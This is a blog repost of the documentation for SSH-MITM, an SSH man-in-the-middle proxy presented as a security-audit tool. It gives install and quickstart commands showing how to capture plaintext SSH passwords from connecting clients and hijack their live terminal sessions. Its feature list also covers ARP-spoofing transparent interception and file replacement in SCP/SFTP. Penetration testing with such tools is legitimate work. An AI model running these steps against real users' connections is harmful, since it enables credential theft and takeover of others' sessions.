January 18, 2021

SSH-MITM Server for security audits supporting public key authentication, session hijacking and file manipulation


**Project URL:** [https://github.com/ssh-mitm/ssh-mitm](https://github.com/ssh-mitm/ssh-mitm)

​

**Features**

* **Redirect/mirror Shell to another ssh client supported in 0.2.8**
* **Replace File in SCP supported in 0.2.6**
* **Replace File in SFTP supported in 0.2.3**
* **Transparent proxy support in 0.2.2!** – intercepting traffic to other hosts is now possible when using arp spoofing or proxy is used as gateway.
* **Since release 0.2.0, SSH Proxy Server has full support for tty (shell), scp and sftp!**

## Installation of SSH-MITM

This part of the documentation covers the installation of SSH-MITM. The first step to using any software package is getting it properly installed.

## $ python -m pip install ssh-mitm

To install SSH-MITM, simply run this simple command in your terminal of choice:

$ python -m pip install ssh-mitm

## Quickstart

Eager to get started? This page gives a good introduction in how to get started with SSH-MITM.

First, make sure that:

​

* SSH-MITM is :ref:installed <Installation of SSH-MITM>
* SSH-MITM is up-to-date

Let’s get started with some simple examples.

## Start the ssh-mitm proxy server

Starting an intercepting mitm-ssh server with password authentication is very simple.

All you have to do is run this command in your terminal of choice.

$ ssh-mitm –remote-host 192.168.0.x

Now let’s try to connect to the ssh-mitm server. The ssh-mitm server is listening on port 10022.

$ ssh -p 10022 [email protected]

You will see the credentials in the log output.

2021-01-01 11:38:26,098 [INFO] Client connection established with parameters: Remote Address: 192.168.0.x Port: 22 Username: user Password: supersecret Key: None Agent: None

## Hijack a SSH terminal session

Getting the plain text credentials is only half the fun. SSH-MITM proxy server is able to hijack a ssh session and allows you to interact with it.

Let’s get startet with hijacking the session.

$ ssh-mitm –remote-host 192.168.0.x –ssh-interface ssh_proxy_server.plugins.ssh.mirrorshell.SSHMirrorForwarder

Connect your ssh client with the ssh-mitm proxy.

$ ssh -p 10022 [email protected]

When a client connects, the ssh-mitm proxy server starts a new server, where you can connect with another ssh client. This server is used to hijack the session.

2021-01-01 11:42:43,699 [INFO] created injector shell on port 34463. connect with: ssh -p 34463 127.0.0.1

To hijack the session, you can use your favorite ssh client. This connection does not require authentication.

$ ssh -p 34463 127.0.0.1

After you are connected, your session will only be updated with new responses, but you are able to execute commands.

Try to execute somme commands in the hijacked session or in the original session.

The output will be shown in both sessions.

Leave a Reply

Your email address will not be published. Required fields are marked *

Note: By filling this form and submitting your commen, you acknowledge, agree and comply with our terms of service. In addition you acknowledge that you are willingly sharing your email address with AiOWikis and you might receive notification emails from AiOWikis for comment notifications. AiOWiksi guarantees that your email address WILL NOT be used for advertisement or email marketting purposes.

This site uses Akismet to reduce spam. Learn how your comment data is processed.